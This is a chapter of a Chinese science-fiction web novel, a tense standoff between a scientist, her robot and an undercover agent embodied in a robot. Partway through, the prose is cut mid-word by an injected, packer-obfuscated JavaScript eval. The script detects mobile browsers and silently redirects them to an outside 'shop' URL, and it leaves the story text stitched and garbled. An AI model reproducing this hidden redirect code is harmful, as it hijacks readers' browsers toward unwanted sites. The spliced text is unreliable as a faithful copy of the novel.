莱慈闭上了双眼,身体在一阵死寂里折叠,不过几秒,他变成了圆形的台桌机器人,没入操作台背后的休眠仓。
林君山沉默地望着这一幕,心头轻轻打了几次颤,实验室好像还回荡着莱慈的嘶吼:“我讨厌你!”
林君山闭上眼,静等着这些控诉通过回声散播出去,只是可惜,实验室并不空荡,这些声音就只能在这里落下烙印。
林君山缓缓站起身,身后的实验室门被几阵高压电流攻击,密码器失灵,实验室舱门缓缓打开,实验室的光线晃了晃,才勉强稳住。
林君山借着光望过去,看见了穿着一身便衣的温金霖,他腰上挂着现代最高级的激光手枪,暗黑色枪柄上刻有简单的“W”,字体样式不像是厂舱刻出来的,倒像是自己刻上去的。
温金霖眉目清秀,笑脸盈盈,实验室的冷光打在他身上,将他的影子拉的很长。“您好啊,博士。”
“毫发无损的穿过基地机器人群,温警官很有能力。”林君山不慌不忙地离开了位置,走到操作台前的人体工学椅上坐下,椅子根据她的体型重新找到了合适的角度,校正靠背的弯曲程度。
林君山小心摸出隐藏在椅子的激光枪,不动声色地握紧了枪柄。
“哪里哪里,还是废了些心神的。”温金霖虽然最说着谦虚的话,面上却摆着一副洋洋得意的脸色,毫不客气地跟在她身后走进了实验室。
林君山察觉出他已经开启了双电子程序,现阶段的温金霖屏蔽了联国终端,以个人意识形态同她说话。
“倒是博士,”温金霖随便扫了一眼实验室四周,周围的光电系统显然恢复了正常,“短时间内就修复好了基地系统,不愧是基地最好的程序员。”
林君山暂且替莱慈收下了这句恭维,她抬眸提醒说:
“别再往前走了温警官,实验室可能遗留了一些我同事跃迁前置下的机关,别不小心踩到了,出了事,我可负不起责任。”
温金霖莞尔一笑,脚步顿在了原地,“我知道,博士并不希望我出事。”
“当然,”温金霖眯眼笑着,“我也不希望博士出事,所以烦请博士交出手里的激光枪,我们坦诚地面对彼此,怎么样?”
林君山冷眼瞧着他:“坦诚?温警官怎么谈起坦诚这两个字了?毕竟你告诉我的名字都是假的。”
温金霖挑了挑眉,他太欣赏这样的林君山了,冷硬沉静还带着些许学者的威严。
和那帮满口仁义道德的老学究不一样,林君山从始至终都是这个模样。
“博士,”温金霖笑道,“我想我的名字应该不会成为我们合作的阻碍。”
“如果合作愉快,”温金霖说,“您一定是第一个知道我姓甚名谁的人。”
林君山坦白地说:“对我来讲你是谁不重要,我对你没什么兴趣,我握着枪,只是为了防止你出尔反尔。”
温金霖态度释然,他耸了耸肩,随意地道:“那您请便。”
“你应该猜到我要做什么了。”林君山说,“如果你没猜到,这一路你会带着拥有你意识的多个机器人来给我施加压力。”
温金霖的眸子弯得像个月牙,“我还以为博士又要试探我呢。”
“没那个必要,”林君山说,“你的机体前身都是基地的产物,就算是机器人系统要把你当成入侵武器来销毁,我也不会同意。”
“那我该庆幸我是由博士制造的?”温金霖问,“所以博士对我有感情?”
“对你的机体有感情,”林君山纠正道,“不是你。”
“那好吧,”温金霖的眼底闪过一丝遗憾,“怎么说我也是活下来了,不仅仅是因为您是造物者,还因为您需要我。”
林君山不太喜欢聪明的人,也许五年前她会愿意和这样的人打交道,但是现如今,她更倾向于和这样的人分道扬镳。
聪明的人心眼太多,林君山不仅受到了一次背叛。
如果被人看清了目的,摸透了心思,那林君山会显得过分被动,哪怕这人表面上看起来“人畜无害”,但背地里是什么样,林君山无从得知。
“我不太喜欢和你聊天温警官。”林君山避开他的视线。
温金霖明知故问:“为什么?”
林君山撩起眼皮,沉默地看了他一眼。
“我知道了,”温金霖笑着自问自答,“没有艺术家会喜欢聪明的缪斯。”
林君山:“……”
“好了温警官,”林君山深呼了一口气,“在这之前,我需要知道你是否还有家人在地球?”
温金霖静静地看了一会儿林君山,似乎在想该怎么回答这个问题。
林君山看出他眼底的犹豫,问道:“看来温警官已经有了家室?”
温金霖的眸子又含起了笑,摇摇头应道:“博士,联国刑警一般都是成家的男人,鹰族其实也不例外,但这个家室,是真的是假的,没有人清楚。”
鹰族的性质是整个联国机构的卧底。
他们分布在世界各地,有的可能是路边摊上不起眼的小贩,有的可能就像温金霖这样神出鬼没。
他们无所不在,无所不知。他们很多人都被赋予了某种身份,为了维持这样的身份,他们需要同周围产生社会联系,其中可能就包含了目前联国大力支持的婚姻关系。
“看来温警官英年早婚,”林君山淡然地说,“如果你因公殉职,你的爱人和家人,会受到联国的保护吗?”
温金霖眸底的笑容变得更深,他比较不喜欢回答这样私人的问题,但如果提问者变成了林君山,他倒巴不得告诉她所有。
“让博士失望了,”温金霖笑说,“我没有妻子,家里只有一位年老的母亲,地球时间七月二十三号,也就是48小时之前,离开了人世。按理说我现在还在服丧期。”
“可时间紧任务重,”温金霖收了笑容,“我只能提前安葬老人家。”
林君山沉默地看着他。实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315402|198947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
验室操作台背后的休眠仓发出些声响,在寂静的实验室显得有些突兀。
林君山收回视线,循着似齿轮碰撞的声音看过去,看见莱慈的银白色休眠舱。舱口上方的长细条状颜色面板,渐渐由蓝色变成了深红。长方形舱体正面多出一个淡蓝色的显示屏,闪过“更新完成”四个字,便消失。
再不出两分钟,莱慈机器人会重新醒过来。林君山收回视线,举起手里的激光枪,沉静地问:“你能承受的破坏程度是几?”
温金霖不慌不慌,他一点都不觉得意外,或者说他早就料到林君山会这么做。
不过他有些不满于林君山这样的提问。要知道,作为人,激光枪发射激光的那一刻,他会因为无法承受武器伤害而牺牲。只有作为机体,他才能抵挡激光武器的伤害。
林君山再次下意识将他认成了机体。
温金霖没有多说,只笑着应道:“如果博士手里的激光枪是常用于防身的AM3系列,只要距离够近,那机体会有贯穿性破损。”
“机体受伤后,”林君山问,“你的意识也会随着消失吗?”
“理论上来讲,是这样的,不过还没有人试过。”温金霖也掏出了挂在腰侧的手枪,他的手枪和林君山的AM3型号不同,是专用的短径狙击枪。
刑警配备的手枪大部分都比较重,唯一趁手一点的小型手枪,又没什么准度,所以鹰族在成立初期就申请了制造短径轻狙击枪,枪体铺了一层薄薄的碳纤维复合材料,代替了原先用铬、铁、钢等材料镀金,型号为CH-1。
鹰族以刺杀、卧底活动为基础,所以短径狙击枪依然不太能够满足他们的工作需求,因此他们又对短径狙击枪进行了改造。利用碳纤维的折叠性,将常用的狙击枪折叠成短径,必要时可以进行模式转换,型号为CH-3。
他手里握着的是型号为CH-3的短径狙击枪,在没有转换模式前,外表和普通的手枪没有多少差别,除了枪体稍微长出3cm-5cm、在进行射击时多了一个电子瞄准镜。
“我应该不会死。”温金霖懒懒地举起枪对着林君山,枪口上方显出一个只有温金霖能够看清的小型电子瞄准镜,他眯起半只眼睛,说道:
“意识是不会消失的,我的大部分意识在联国电脑终端,如果站在您面前的温金霖死了,那未来有一天,可能会出现另一个和现在完全不一样的温金霖,可能那个时候,温金霖都不叫温金霖。”
“你居然愿意把命交到一个才见不到几个小时的人手里。”林君山的指尖轻轻搭在扳机。
“我喜欢冒险博士,”温金霖歪着脑袋,透过电子瞄准镜,静静地看着林君山的眼睛,“如果失败了,我毫无怨言。”
操作台旁边的休眠仓彻底打开,莱慈以台桌机器人的形式苏醒,通过操作台左侧的升降平台,爬上了操作台。
“开枪。”林君山回头站起来,向前走了几步,重复道:
“现在,开枪。”